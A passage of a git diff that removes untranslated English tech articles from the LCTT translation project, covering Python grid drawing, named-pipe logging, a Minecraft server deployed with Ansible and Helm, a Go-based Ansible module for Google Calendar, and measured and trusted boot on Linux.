build a two-dimensional array, you must first decide how many tiles you want in both directions. I'll use eight for this example because that's how a chessboard is constructed, but you could use fewer or more. You could even accept arguments at launch to define the array's size depending on options, such as `--row` and `--column:` - - -``` -rows = 8 -columns = 8 -``` - -Because you don't know the size of the board, you must calculate the width of the rows and columns based on the size of your display. I also include one pixel of padding between each tile, because, without a gap, it looks like one big block of color: - - -``` -column_width = world_x / columns -row_height = world_y / rows -pad = 1 -``` - -Laying out tiles across the display is simple. Of course, this isn't the goal, as it only draws along the X-axis, but it's a good start: - - -``` -j = 0 - -while j < rows: -    tile = Tile(j * column_width, row_height, column_width - pad, row_height - pad, white) -    game_board.add(tile) -    j += 1 -``` - -The idea is that the variable `j` starts at 0, so the first tile is placed from 0 to `column_width`, less the value of the padding. Then the variable `j` is incremented to 1, so the next tile is placed at 1 times the value of `column_width`, and so on. - -You can run that code to see the partial success it renders. What this solution obviously lacks is any awareness of further rows. - -Use a second counter variable to track rows: - - -``` -j = 0 -k = 0 - -while j < rows: -    while k < columns: -        tile = Tile(k * column_width, j * row_height, column_width - pad, row_height - pad, white) -        game_board.add(tile) -        k += 1 -    j += 1 -    k = 0 -``` - -In this code block, which achieves the desired result, each tile is positioned in a space determined by the current value of either `j` or `k`. - -The `k` variable is incremented within its loop so that each tile is progressively placed along the X-axis. - -The `j` variable is incremented outside the nested loop so that everything gets moved down one row. - -The `k` variable is then set to 0 so that when the inner loop starts again, everything is shunted back to the far left of the screen. - -![2D array][12] - -(Klaatu, [CC BY-SA 4.0][5]) - -### Easy arrays - -Creating a grid can seem mathematically and syntactically intensive, but with this example plus a little bit of thought about what result you want, you can generate them at will. The only thing left for you to do now is to create a game around it. That's what I did, and you're welcome to play it by downloading it from its home on [Itch.io][3] or from its source repository on [git.nixnet.xyz][13]. Enjoy! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/open-source-game - -作者:[Klaatu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/klaatu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) -[2]: http://openjam.io -[3]: https://notklaatu.itch.io/unveil -[4]: https://opensource.com/sites/default/files/uploads/unveil-2.jpg (Unveil game) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://www.python.org/ -[7]: https://opensource.com/sites/default/files/uploads/chess.jpg (Chess) -[8]: https://opensource.com/article/18/5/maptool -[9]: https://opensource.com/article/19/9/advanced-bash-building-minesweeper -[10]: https://otagomuseum.nz/athome/the-royal-game-of-ur -[11]: https://opensource.com/article/17/10/python-101 -[12]: https://opensource.com/sites/default/files/uploads/2darray.jpg (2D array) -[13]: https://git.nixnet.xyz/klaatu/unveil diff --git a/sources/tech/20201010 Robust and Race-free Server Logging using Named Pipes.md b/sources/tech/20201010 Robust and Race-free Server Logging using Named Pipes.md deleted file mode 100644 index f969bbac18..0000000000 --- a/sources/tech/20201010 Robust and Race-free Server Logging using Named Pipes.md +++ /dev/null @@ -1,114 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Robust and Race-free Server Logging using Named Pipes) -[#]: via: (https://theartofmachinery.com/2020/10/10/logging_with_named_pipes.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Robust and Race-free Server Logging using Named Pipes -====== - -If you do any server administration work, you’ll have worked with log files. And if your servers need to be reliable, you’ll know that log files are common source of problems, especially when you need to rotate or ship them (which is practically always). In particular, moving files around causes race conditions. - -Thankfully, there are better ways. With named pipes, you can have a simple and robust logging framework, with no race conditions, and without patching your servers to support some network logging protocol. - -### The problems with rotating log files - -First, let’s talk about the problems. Race conditions are generally a problem with popular file-based logging setups, whether you’re rotating logs into archival storage, or shipping them to a remote log processing stack, or whatever. To keep things concrete, though, let me talk about [logrotate][1], just because it’s a popular tool. - -Say you have a log file at `/var/log/foo`. It gets pretty big, and you want to process the logs periodically and start with a new, empty file. So you (or your distro maintainers) set up logrotate with various rules about when to rotate the file. - -By default, logrotate will rename the file (to something like `/var/log/foo.1`) and create a new `/var/log/foo` to write to. That (mostly) works for software that runs intermittently (such as a package manager that does software updates). But it won’t do any good if the log file is generated by a long-running server. The server only uses the filename when it opens the file; after that it just keeps writing to its open file descriptor. That means it will keep writing to the old file (now named `/var/log/foo.1`), and the new `/var/log/foo` file will stay empty. - -To handle this use-case, logrotate supports another mode: `copytruncate`. In this mode, instead of renaming, logrotate will copy the contents of `/var/log/foo` to an archival file, and then truncate the original file to zero length. As long as the server has the log file open in append mode, it will automatically write new logs to the start of the file, without needing to detect the truncation and do a file seek (the kernel handles that). - -That `copytruncate` mode creates a race condition, though. Any log lines that are written after the copy but before the truncation will get destroyed. Actually, you tend to get the same race condition even with the default move-and-create mode. That’s because there’s not much point just splitting up the logs into multiple files. Most systems are configured to do something like compress the old log file, but ultimately you need to delete the old, uncompressed data, which creates the same race as truncating. (In practice, this race isn’t so likely for occasional log writers, like package managers, and the `delay` flag to logrotate makes it rarer, albeit by making the log handling a bit more complicated.) - -Some servers, like [Nginx][2], support a modification of the default logrotate mode: - - 1. Rename the old file - 2. Create the new file - 3. (New step) notify the server that it needs to reopen its log file. - - - -This works (as long as the logs processor doesn’t delete the old file before the server has finished reopening), but it requires special support from the server, and you’re out of luck with most software. There’s a lot of software out there, and log file handling just isn’t interesting enough to get high on the to-do list. This approach also only works for long-running servers. - -I think this is a good point to stop and take a step back. Having multiple processes juggle log files around on disk without any synchronisation is just an inherently painful way to do things. It causes bugs and makes logging stacks complicated ([here’s just one of many examples][3]). One alternative is to use some network protocol like MQTT or networked syslog, but, realistically, most servers won’t support the one you want. And they shouldn’t have to — log files are a great interface for log writers. - -That’s okay because *nix “everything is a file” lets us easily get a file interface on the writer side, with a streaming interface on the reader side. - -### Named pipes 101 - -Maybe you’ve seen pipes in pipelines like this: - -``` -$ sort user_log.txt | uniq -``` - -The pipe connecting `sort` and `uniq` is a temporary, anonymous communication channel that `sort` writes to and `uniq` reads from. Named pipes are less common, but they’re also communication channels. The only difference is that they persist on the filesystem as if they were files. - -Open up a terminal and `cd` into some temporary working directory. The following creates a named pipe and uses `cat` to open a writer: - -``` -$ mkfifo p -$ # This cat command will sit waiting for input -$ cat > p -``` - -Leave that `cat` command waiting, and open up another terminal in the same directory. In this terminal, start your reader: - -``` -$ # This will sit waiting for data to come over the pipe -$ cat p -``` - -Now as you type things into the writer end, you’ll see them appear in the reader end. `cat` will use line buffering in interactive mode, so data will get transferred every time you start a new line. - -`cat` doesn’t have to know anything about pipes for this to work — the pipe acts like a file as long as you just naïvely read or write to it. But if you check, you’ll see the data isn’t stored anywhere. You can pump gigabytes through a pipe without filling up any disk space. Once the data has been read once, it’s lost. (You can have multiple readers, but only one will receive any buffer-load of data.) - -Another thing that makes pipes useful for communication is their buffering and blocking. You can start writing before any readers open the pipe, and data gets temporarily buffered inside the kernel until a reader comes along. If the reader starts first, its read will block, waiting for data from the writer. (The writer will also block if the pipe buffer gets full.) If you try the two-terminal experiment again with a regular file, you’ll see that the reader `cat` will eagerly read all the data it can and then exit. - -### An annoying problem and a simple solution - -Maybe you’re seeing how named pipes can help with logging: Servers can write to log “files” that are actually named pipes, and a logging stack can read log data directly from the named pipe without letting a single line fall onto the floor. You do whatever you want with the logs, without any racey juggling of files on disk. - -There’s one annoying problem: the writer doesn’t need a reader to start writing, but if a reader opens the pipe and then closes it, the writer gets a `SIGPIPE` (“broken pipe”), which will kill it by default. (Try killing the reader `cat` while typing things into the writer to see what I mean.) Similarly, a reader can read without a writer, but if a writer opens the pipe and then closes it, that will be treated like an end of file. Although the named pipe persists on disk, it isn’t a stable communication channel if log writers and log readers can restart (as they will on a real server). - -There’s a solution that’s a bit weird but very simple. Multiple processes can open the pipe for reading and writing, and the pipe will only close when _all_ readers or _all_ writers close it. All we need for a stable logging pipe is a daemon that holds the named pipe open for both reading and writing, without doing any actual reading or writing. I set this up on my personal server last year, and I wrote [a tiny, zero-config program to act as my pipe-holding daemon][4]. It just opens every file in its current working directory for both reading and writing. I run it from a directory that has symbolic links to every named pipe in my logging stack. The program runs in a loop that ends in a `wait()` for a `SIGHUP`. If I ever update the symlinks in the directory, I give the daemon a `kill -HUP` and it reopens them all. Sure, it could do its own directory watching, but the `SIGHUP` approach is simple and predictable, and the whole thing works reliably. Thanks to the pipe buffer, log writers and log readers can be shut down and restarted independently, any time, without breakage. - -My server uses the [s6 supervision suite][5] to manage daemons, so I have s6-log reading from each logging pipe. The bottom part of the [s6-log documentation page][6] has some good insights into the problems with popular logging systems, and good ideas about better ways to do things. - -### Imagine: a world without log rotation - -Strictly speaking, named pipes aren’t necessary for race-free logs processing. The s6 suite encourages writing logs to some file descriptor (like standard error), and letting the supervision suite make sure those file descriptors point to something useful. However, the named pipe approach adds a few benefits: - - * It doesn’t require any co-ordination between writer and reader - * It integrates nicely with the software we have today - * It gives things meaningful names (rather than `/dev/fd/4`) - - - -I’ve worked with companies that spend about as much on their logging stacks as on their serving infrastructure, and, no, “we do logs processing” isn’t in their business models. Of course, log rotation and log shipping aren’t the only problems to blame, but it feels so wrong that we’ve made logs so complicated. If you work on any logging system, consider if you really need to juggle log files around. You could be helping to make the world a better place. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/10/10/logging_with_named_pipes.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://github.com/logrotate/logrotate -[2]: https://www.nginx.com/resources/wiki/start/topics/examples/logrotation/ -[3]: https://community.splunk.com/t5/Getting-Data-In/Why-copytruncate-logrotate-does-not-play-well-with-splunk/td-p/196112 -[4]: https://gitlab.com/sarneaud/fileopenerd -[5]: http://www.skarnet.org/software/s6/index.html -[6]: http://www.skarnet.org/software/s6/s6-log.html diff --git a/sources/tech/20201012 Build a Kubernetes Minecraft server with Ansible-s Helm modules.md b/sources/tech/20201012 Build a Kubernetes Minecraft server with Ansible-s Helm modules.md deleted file mode 100644 index 08dd088007..0000000000 --- a/sources/tech/20201012 Build a Kubernetes Minecraft server with Ansible-s Helm modules.md +++ /dev/null @@ -1,172 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Build a Kubernetes Minecraft server with Ansible's Helm modules) -[#]: via: (https://opensource.com/article/20/10/kubernetes-minecraft-ansible) -[#]: author: (Jeff Geerling https://opensource.com/users/geerlingguy) - -Build a Kubernetes Minecraft server with Ansible's Helm modules -====== -Deploy a Minecraft server into a Kubernetes cluster with Ansible's new -collections. -![Ship captain sailing the Kubernetes seas][1] - -One of the best outcomes of Ansible's [move towards content collections][2] is it spreads the thousands of modules in [Ansible][3]'s "core" repository into many more independent repositories. This means movement on issues and modules that had long been delayed (often due to the [sheer volume of issues and pull requests][4] in the repo) can progress more rapidly. - -Obviously, not all modules will get the same love and appreciation as others—that's the way open source works: more popular things flourish, as others may languish a bit—but one bright example of the positive impact has been the [Kubernetes][5] collection's ability to incorporate some long-awaited [Helm][6] modules. - -Thanks especially to the work of [LucasBoisserie][7], three new Helm modules were merged into the Kubernetes collection: - - * helm - * helm_info - * helm_repository - - - -Ansible has long had a [helm module][8], but it was fairly broken for a long time, only worked with older versions of Helm, and was slated for deprecation in Ansible 2.14. That version of the module will still work the same in the regular community distribution of Ansible, as it's now been moved to the [community.general][9] collection. - -But if you want to use these new modules to automate your Helm deployments using the Kubernetes container orchestration system, you can do it with the [community.kubernetes][10] collection. - -### What is Helm? - -Helm says it is "the best way to find, share, and use software built for Kubernetes." - -There are currently dozens of ways to deploy software into Kubernetes and [OpenShift][11] clusters (you can even do it using Ansible natively with the [k8s module][12]), but Helm is often the easiest onramp to Kubernetes deployments, especially when you're starting out on your Kubernetes journey. - -The way Helm works is that people maintain "charts," which are templates describing "how to deploy application XYZ" into Kubernetes. Charts can have "values" that override the default settings for a deployment's chart. - -There are thousands of [charts on Helm Hub][13] you can use to install popular software. If your software is not included, you can build and host your own Helm chart repositories. - -### What is Minecraft? - -For a certain generation (or their parents), this question doesn't need an answer: [Minecraft][14] is the [best-selling video game of all time][15], and it appeals to an extremely wide audience because there are so many different ways you can play it. - -I remember spending an hour here or there during my post-college years tending to a farm that I built in my little virtual Minecraft world. Minecraft can now run on almost any computing device with a screen, and networked play has become very popular. To support this, the Minecraft team maintains a [Minecraft server][16] application you can run to play networked games with your friends. - -### Where does Ansible fit in? - -I like to think of Ansible as the "glue" that holds automation together. I previously wrote about [how Ansible is useful in a cloud-native environment][17], so I won't rehash why I use Ansible to manage my Kubernetes infrastructure. - -In this article, I'll show you how to write a short Ansible playbook to manage the setup of Helm's Minecraft chart in a cluster. In a real-world infrastructure, this playbook would be one small part of a set of plays that: - - * Build or configure a Kubernetes cluster - * Deploy monitoring tools into the cluster - * Deploy applications into the cluster - - - -Before you can write the playbook, you have to install Ansible's official [Kubernetes collection][10]. You can do this either by requiring it in a **requirements.yml** file (which could be used by Ansible Tower to install the collection automatically) or by manually installing it: - - -``` -`ansible-galaxy collection install community.kubernetes` -``` - -Once you have the collection, it's time to write the playbook. To make it easy for you to view the code or download the file, I've posted my **[minecraft.yml][18] **playbook as a Gist on GitHub. - -The playbook uses many of the Kubernetes collection's modules: - - 1. The `k8s` module creates a namespace, `minecraft`. - 2. The `helm_repository` module adds the `itzg` Helm repository, which contains the Minecraft Helm chart. - 3. The `helm` module deploys the chart and creates the Minecraft server instance. - 4. The `k8s_info` module retrieves the NodePort where Minecraft is running so that you can connect to it from Minecraft. - - - -The playbook assumes you have a running Kubernetes or OpenShift cluster and a kubeconfig file that points to that cluster already. If not, create a Minikube cluster on your workstation: - - 1. Make sure you have [Minikube][19] installed. - 2. Run `minikube start`, and wait for the cluster to be created. - - - -Make sure you have [Ansible][20] and [Helm][21] installed, then run the playbook: - - -``` -`ansible-playbook minecraft.yml` -``` - -After a few minutes, the Minecraft server will generate a spawn area and be ready for connections! The playbook should provide the Minecraft NodePort at the end of its output (e.g., Minecraft NodePort: 32393). - -Get the IP address of your Minikube cluster with `minikube ip`, add the NodePort to it (in my case, 192.168.64.19:32393), then open up Minecraft and connect to it: - - 1. Click **Multiplayer**. - 2. Click **Direct Connection**. - 3. Enter the server address (the Minikube IP and Minecraft NodePort). - 4. Click **Join Server**. - - - -And voila! You should be able to play around in the little virtual Minecraft world that's running on your very own Kubernetes cluster. - -![Minecraft gameplay][22] - -(Jeff Geerling, [CC BY-SA 4.0][23]) - -View the server logs with: - - -``` -`kubectl logs -f -n minecraft -l app=minecraft-minecraft;` -``` - -In the logs, you can see that I was successful in finding many ways to die inside my little Minecraft world! - -![Minecraft server logs][24] - -(Jeff Geerling, [CC BY-SA 4.0][23]) - -### Take a step beyond - -There are dozens of ways to deploy applications like a Minecraft server into a Kubernetes cluster. Luckily for us, Ansible already supports most of those options through its Kubernetes collection! And if you want to take a step beyond simple deployments and chart updates, you can use Ansible to build a [Kubernetes operator][25] with the Operator SDK—in fact, someone already made a [community operator][26] built with Ansible that runs a Minecraft server! - -I was inspired to write this after using Ansible to manage a seven-node Kubernetes cluster built with Raspberry Pis. You can learn more about that in the [Turing Pi Cluster][27] GitHub repository. - -* * * - -If you want to learn more about Ansible, make sure to register for [AnsibleFest][28], a virtual experience on October 13-14. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/kubernetes-minecraft-ansible - -作者:[Jeff Geerling][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/geerlingguy -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://github.com/ansible-collections/overview -[3]: https://www.ansible.com/ -[4]: https://emeraldreverie.org/2020/03/02/collections-the-backlog-view/ -[5]: https://kubernetes.io/ -[6]: https://helm.sh/ -[7]: https://github.com/LucasBoisserie -[8]: https://docs.ansible.com/ansible/2.9/modules/helm_module.html -[9]: https://github.com/ansible-collections/community.general/blob/master/plugins/modules/cloud/misc/helm.py -[10]: https://github.com/ansible-collections/community.kubernetes -[11]: https://www.openshift.com/ -[12]: https://docs.ansible.com/ansible/latest/collections/community/kubernetes/k8s_module.html#ansible-collections-community-kubernetes-k8s-module -[13]: https://hub.helm.sh/ -[14]: https://www.minecraft.net/ -[15]: https://en.wikipedia.org/wiki/List_of_best-selling_video_games#List -[16]: https://www.minecraft.net/en-us/download/server/ -[17]: https://www.ansible.com/blog/how-useful-is-ansible-in-a-cloud-native-kubernetes-environment -[18]: https://gist.github.com/geerlingguy/2f4b0c06b4b696c8983b82dda655adf3 -[19]: https://kubernetes.io/docs/tasks/tools/install-minikube/ -[20]: https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html -[21]: https://helm.sh/docs/intro/install/ -[22]: https://opensource.com/sites/default/files/uploads/minecraft.png (Minecraft gameplay) -[23]: https://creativecommons.org/licenses/by-sa/4.0/ -[24]: https://opensource.com/sites/default/files/uploads/serverlogs.png (Minecraft server logs) -[25]: https://www.redhat.com/en/topics/containers/what-is-a-kubernetes-operator -[26]: https://github.com/fabianvf/game-server-operator -[27]: https://github.com/geerlingguy/turing-pi-cluster -[28]: https://www.ansible.com/ansiblefest diff --git a/sources/tech/20201012 Create an Ansible module for integrating your Google Calendar.md b/sources/tech/20201012 Create an Ansible module for integrating your Google Calendar.md deleted file mode 100644 index 3f7585f5be..0000000000 --- a/sources/tech/20201012 Create an Ansible module for integrating your Google Calendar.md +++ /dev/null @@ -1,186 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create an Ansible module for integrating your Google Calendar) -[#]: via: (https://opensource.com/article/20/10/ansible-module-go) -[#]: author: (Nicolas Leiva https://opensource.com/users/nicolas-leiva) - -Create an Ansible module for integrating your Google Calendar -====== -Learn how to write an Ansible module in Go to integrate Google Calendar -into your automation workflow. -![Business woman on laptop sitting in front of window][1] - -In a [previous article][2], I explored how [Ansible][3] can integrate with Google Calendar for change management, but I didn't get into the details of the [Ansible module][4] that was built for this purpose. In this article, I will cover the nuts and bolts of it. - -While most [Ansible modules][5]** **are written in [Python][6] (see [this example][7]), that's not the only option you have. You can use other programming languages if you prefer. And if you like [Go][8], this post is for you! - -![Gopher illustration][9] - -([Maria Letta's Free Gophers Pack][10], [Free Gophers License v1.0][11], modified with permission) - -If you are new to Go, check out these [pointers to get started][12]. - -## Ansible and Go - -There are at least four different ways that you can run a Go program from Ansible: - - 1. Install Go and run your Go code with the `go run` command from Ansible. - 2. Cross-compile your Go code for different platforms before execution. Then call the proper binary from Ansible, based on the facts you collect from the host. - 3. Run your Go code or compiled binary from a container with the `containers.podman` [collection][13]. Something along the lines of: [code] - name: Run Go container -  podman_container: -    name: go_test_container -    image: golang -    command: go version -    rm: true -    log_options: "path={{ log_file }}" -``` - 4. Create an [RPM][14] package of your Go code with something like [NFPM][15], and install it in the system of the target host. You can then call it with the Ansible modules [shell][16] or [command][17]. - - - -Running an RPM package or container is not Go-specific (cases 3 and 4), so I will focus on the first two options. - -## Google Calendar API - -You will need to interact with the [Google Calendar API][18], which provides code examples for different programming languages. The one for Go will be the base for your Ansible module. - -The tricky part is [enabling the Calendar API][19] and downloading the credentials you generate in the [Google API Console][20] (`Credentials` > `+ CREATE CREDENTIALS` > `OAuth client ID` > `Desktop App`). - -![Downloading credentials from Google API Console][21] - -(Nicolas Leiva, [CC BY-SA 4.0][22]) - -The arrow shows where to download your OAuth 2.0 client credentials (JSON file) once you create them in [API Credentials][23]. - -## Calling the module from Ansible - -The `calendar` module takes the `time` to validate as an argument. The example below provides the current time. You can typically get this from [Ansible facts][24] (`ansible_date_time`). The JSON output of the module is registered in a variable named `output` to be used in a subsequent task: -``` - - -\- name: Check if timeslot is taken -  calendar: -    time: "{{ ansible_date_time.iso8601 }}" -  register: output - -``` -You might wonder where the `calendar` module code lives and how Ansible executes it. Please bear with me for a moment; I'll get to this after I cover other pieces of the puzzle. - -## Employ the time logic - -With the Calendar API nuances out of the way, you can proceed to interact with the API and build a Go function to capture the module logic. The `time` is taken from the input arguments—in the playbook above—as the initial time (`min`) of the time window to validate (I arbitrarily chose a one-hour duration): -``` - - -func isItBusy(min string) (bool, error) { -        ... -        // max -> min.Add(1 * time.Hour) -        max, err := maxTime(min) -        // ... -        srv, err := calendar.New(client) -        // ... -        freebusyRequest := calendar.FreeBusyRequest{ -                TimeMin: min, -                TimeMax: max, -                Items:   []*calendar.FreeBusyRequestItem{&cal}, -        } -        // ... -        freebusyRequestResponse, err := freebusyRequestCall.Do() -        // ... -        if len(freebusyRequestResponse.Calendars[name].Busy) == 0 { -                return false, nil -        } -        return true, nil -} - -``` -It [sends a `FreeBusyRequest`][25] to Google Calendar with the time window's initial and finish time (`min` and `max`). It also creates a calendar [client][26] (`srv`) to authenticate the account correctly using the JSON file with the OAuth 2.0 client credentials. In return, you get a list of events during this time window. - -If you get zero events, the function returns `busy=false`. However, if there is at least one event during this time window, it means `busy=true`. You can check out the [full code][27] in my GitHub repository. - -## Process the input and creating a response - -Now, how does the Go code read the inputs arguments from Ansible and, in turn, generate a response that Ansible can process? The answer to this depends on whether you are running the [Go CLI][28] (command-line interface) or just executing a pre-compiled Go program binary (i.e., options 1 and 2 above). - -Both options have their pros and cons. If you use the Go CLI, you can pass the arguments the way you prefer. However, to make it consistent with how it works for binaries you run from Ansible, both alternatives will read a JSON file in the examples presented here. - -### Reading the arguments - -As shown in the Go code snippet below, an input file is processed, and Ansible provides a path to it when it calls a binary. - -The content of the file is unmarshaled into an instance (`moduleArg`) of a previously defined struct (`ModuleArgs`). This is how you tell the Go code which data you expect to receive. This method enables you to gain access to the `time` specified in the playbook via `moduleArg.time`, which is then passed to the time logic function (`isItBusy`) for processing: -``` - - -// ModuleArgs are the module inputs -type ModuleArgs struct { -        Time string -} - -func main() { -        ... -        argsFile := os.Args[1] -        text, err := ioutil.ReadFile(argsFile) -        ... -        var moduleArgs ModuleArgs -        err = json.Unmarshal(text, &moduleArgs) -        ... -        busy, err := isItBusy(moduleArg.time) -        ... -} - -``` -### Generating a response - -The values to return are assigned to an instance of a `Response` object. Ansible will need this response includes a couple of boolean flags (`Changed` and `Failed`). You can add any other field you need; in this case, a `Busy` boolean value is carried to signal the response of the time logic function. - -The response is marshaled into a message that you print out and Ansible can read: -``` - - -// Response are the values returned from the module -type Response struct { -        Msg     string `json:"msg"` -        Busy    bool   `json:"busy"` -        Changed bool   `json:"changed"` -        Failed  bool   `json:"failed"` -} - -func returnResponse(r Response) { -  ... -        response, err = json.Marshal(r) -        ... -        fmt.Println(string(response)) -        ... -} - -``` -You can check out the [full code][29] on GitHub. - -## Execute a binary or Go code on the fly? - -One of the cool things about Go is that you can cross-compile a Go program to run on different target operating systems and architectures. The binary files you compile can be executed in the target host without installing Go or any dependency. - -This flexibility plays nicely with Ansible, which provides the target host details (`ansible_system` and `ansible_architecture`) via Ansible facts. In this example, the target architecture is fixed when compiling (`x86_64`), but binaries for macOS, Linux, and Windows are generated (via `make compile`). This produces the three files that are included in the [`library` folder][30] of the `go_role` role with the form of: `calendar_$system`: -``` - - -⇨  tree roles/go_role/ -roles/go_role/ -├── library -│   ├── calendar_darwin -│   ├── calendar_linux -│   ├── calendar_windows -│   └── go_run -└── tasks -    ├── Darwin.yml -    ├── Go.yml -    ├── Linux.yml -    ├── main.yml -    └── Win32NT.yml - -``` -The [`go_role` role][31] that packages the `calendar` \ No newline at end of file diff --git a/sources/tech/20201013 What measured boot and trusted boot means for Linux.md b/sources/tech/20201013 What measured boot and trusted boot means for Linux.md deleted file mode 100644 index a50e57bb25..0000000000 --- a/sources/tech/20201013 What measured boot and trusted boot means for Linux.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What measured boot and trusted boot means for Linux) -[#]: via: (https://opensource.com/article/20/10/measured-trusted-boot) -[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) - -What measured boot and trusted boot means for Linux -====== -When a trusted boot process is performed, the process not only measures -each value but also performs a check against a known (and expected!) -good value at the same time. -![Brain on a computer screen][1] - -Sometimes I'm looking around for a subject to write about, and realise that there's one that I assume that I've covered, but, on searching, discover that I haven't. One of those topics is measured boot and trusted boot—sometimes misleadingly referred to as "secure boot." There are specific procedures that use these terms with capital letters (e.g., Secure Boot), which I'm going to try to avoid discussing in this article. I'm more interested in the generic processes—and a major potential downfall—than in trying to go into the ins and outs of specifics. What follows is a (heavily edited) excerpt from my forthcoming book on trust in computing and the cloud for [Wiley][2]. - -In order to understand what measured boot and trusted boot aim to achieve, look at the Linux virtualisation stack: the components you run if you want to use virtual machines (VMs) on a Linux machine. This description is arguably over-simplified, but (as I noted above) I'm not interested in the specifics but in what I'm trying to achieve. I'll concentrate on the bottom four layers (at a rather simple level of abstraction): CPU/management engine; BIOS/EFI; firmware; and hypervisor, but I'll also consider a layer _just_ above the CPU/management engine, which interposes a Trusted Platform Module (TPM) and some instructions for how to perform one of the two processes (_measured boot_ and _trusted boot_). Once the system starts to boot, the TPM is triggered and starts its work. Alternative roots of trust, such as hardware security modules (HSMs), might also be used, but I will use TPMs, the most common example in this context, in my example. - -In both cases (trusted boot and the measured boot), the basic flow starts with the TPM performing a measurement of the BIOS/EFI layer. This measurement involves checking the binary instructions to be carried out by this layer and creating a cryptographic hash of the binary image. The hash that's produced is then stored in one of several Platform Configuration Register (PCR) "slots" in the TPM. These can be thought of as pieces of memory that can be read later on - either by the TPM for its purposes or by entities external to the TPM - but that cannot be changed once they have been written. These pieces of memory are integrity protected from the time of their initially being written. This provides assurances that once a value is written to a PCR by the TPM, it can be considered constant for the lifetime of the system until power off or reboot. - -After measuring the BIOS/EFI layer, the next layer (firmware) is measured. In this case, the resulting hash is combined with the previous hash (which was stored in the PCR slot) and then also stored in a PCR slot. The process continues until all the layers involved in the process have been measured and the hashes' results have been stored. There are (sometimes quite complex) processes to set up the original TPM values (I've skipped some of the more low-level steps in the process for simplicity) and to allow (hopefully authorised) changes to the layers for upgrading or security patching, for example. This "measured boot" process allows for entities to query the TPM after the process has completed and to check whether the values in the PCR slots correspond to the expected values, pre-calculated with "known good" versions of the various layers—that is, pre-checked versions whose provenance and integrity have already been established. - -Various protocols exist to allow parties _external_ to the system to check the values (e.g., via a network connection) that the TPM attests to be correct: the process of receiving and checking such values from an external system is known as "remote attestation." - -This process—measured boot—allows you to find out whether the underpinnings of your system—the lowest layers—are what you think they are. But what if they're not? Measured boot (unsurprisingly, given the name) measures but doesn't perform any other actions. - -The alternative, "trusted boot," goes a step further. When a trusted boot process is performed, the process not only measures each value but also performs a check against a known (and expected!) good value at the same time. If the check fails, then the process will halt, and the booting of the system will fail. This may sound like a rather extreme approach to take on a system, but sometimes it is absolutely the right one. Where the system under consideration may have been compromised—which is one likely inference you can make from the failure of a trusted boot process—it is better for it to not be available at all than to be running based on flawed expectations. - -This is all very well if I am the owner of the system being measured, have checked all of the various components being measured (and the measurements), and am happy that what's being booted is what I want.[1][3] But what if I'm using a system on the cloud, for instance, or any system owned and managed by someone else? In that case, I'm trusting the cloud provider (or owner/manager) with two things: - - 1. Doing all the measuring correctly and reporting correct results to me - 2. Building something I should trust in the first place - - - -This is the problem with the nomenclature "trusted boot" and, even worse, "secure boot." Both imply that an absolute, objective property of a system has been established—it is "trusted" or "secure"—when this is clearly not the case. Obviously, it would be unfair to expect the designers of such processes to name them after the failure states—"untrusted boot" or "insecure boot"—but, unless I can be very certain that I trust the owner of the system to do step two entirely correctly (and in my best interests as the user of the system, rather than theirs as the owner), then I can make no stronger assertions. - -There is an enormous temptation to take a system that has gone through a trusted boot process and label it a "trusted system" when _the very best_ assertion you can make is that the particular layers measured in the measured and/or trusted boot process have been asserted to be those the process expects to be present. Such a process says nothing at all about the fitness of the layers to provide assurances of behaviour nor about the correctness (or fitness to provide assurances of behaviour) of any subsequent layers on top of those. - -It's important to note that designers of TPMs are quite clear what is being asserted and that assertions about trust should be made carefully and sparingly. Unluckily, however, the complexities of systems, the general low level of understanding of trust, and the complexities of context and transitive trust make it very easy for systems designers and implementors to do the wrong thing and assume that any system that has successfully performed a trusted boot process can be considered "trusted." It is also extremely important to remember that TPMs, as hardware roots of trust, offer one of the best mechanisms available for establishing a chain of trust in systems that you may be designing or implementing, and I plan to write an article about them soon. - -* * * - - 1. Although this turns out to be _much_ harder to do than you might expect! - - - -* * * - -_This article was originally published on [Alice, Eve, and Bob][4] and is reprinted with the author's permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/measured-trusted-boot - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) 